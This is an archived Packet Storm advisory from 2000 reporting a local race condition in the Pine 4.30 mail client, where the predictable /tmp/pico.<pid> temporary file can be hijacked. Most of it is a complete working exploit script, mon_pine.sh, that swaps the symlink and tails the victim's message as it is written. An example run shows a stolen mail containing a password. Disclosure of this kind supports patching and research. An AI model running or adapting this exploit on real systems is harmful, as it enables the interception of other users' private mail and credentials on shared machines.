mon_pine.sh

2000-12-12T00:00:00
ID PACKETSTORM:23804
Type packetstorm
Reporter JW Oh
Modified 2000-12-12T00:00:00

Description

                                        
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Hacksware Bug Report  
  
1. Name: Pine temporary file hijacking vulnerability  
2. Release Date: 2000.12.11  
3. Affected Application:  
Pine Version 4.30(or maybe other versions)  
4. Author: mat@hacksware.com  
5. Type: Local Race Condition  
6. Explanation  
If pine setting is like following:  
[x] enable-alternate-editor-cmd  
[x] enable-alternate-editor-implicitly  
editor = /usr/bin/vi  
pine creates it's temporary in in /tmp directory with names like /tmp/pico.007292(where 7292 is the pid of pine process running).  
  
You can simply symlink this file(/tmp/pico.<pid>) to another file that doesn't exist.  
When victim is editing message victim editor vi follows symlinks and creates another file.  
By removing this symlink and creating your own temporary file and making it writable to victim, you can hijack his mail message.  
  
7. Exploits  
  
--------------------mon_pine.sh start--------------------------------  
#!/bin/sh  
# Grab local pine messages  
# Usage: ./mon_pine.sh <pid of pine process>  
# victim pine must use following settings  
#  
# mat@hacksware.com  
# http://hacksware.com  
#  
# [x] enable-alternate-editor-cmd  
# [x] enable-alternate-editor-implicitly  
# editor = /usr/bin/vi  
#  
  
PID=$1  
PICO_FILE=`printf "/tmp/pico.%.6d" $PID`  
TRASHCAN=/tmp/.trashcan.`date|sed "s/ //g"`  
echo PICO_FILE is $PICO_FILE  
  
#if $PICO_FILE and $TRASHCAN exists, remove them  
if test -f $PICO_FILE  
then  
rm -f $PICO_FILE  
fi  
if test -f $TRASHCAN  
then  
rm -f $TRASHCAN  
fi  
  
ln -s $TRASHCAN $PICO_FILE  
while :  
do  
if test -f $TRASHCAN  
then  
break  
fi  
done  
  
echo Victim is Editing Pine Message  
rm -f $PICO_FILE  
echo We replace temporary file  
touch $PICO_FILE  
chmod 777 $PICO_FILE  
echo "Get the message from "$PICO_FILE  
echo "^C to break tailer"  
tail -f $PICO_FILE  
--------------------mon_pine.sh end --------------------------------  
  
8. Example  
  
[mat@overheaven /tmp]$ ps -ax|grep pine|grep -v grep  
7292 pts/1 S 0:22 pine  
[mat@overheaven /tmp]$ sh mon_pine.sh 7292  
PICO_FILE is /tmp/pico.007292  
  
... wait for victim to compose mail....  
  
Victim is Editing Mail  
We replace temporary file  
Get the message from /tmp/pico.007292  
^C to break tailer  
  
Hello...  
  
Your new password is "greenbee"  
  
Don't let anyone know this...  
Thanks..  
  
  
  
--   
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| mat@hacksware.com |  
| http://hacksware.com |  
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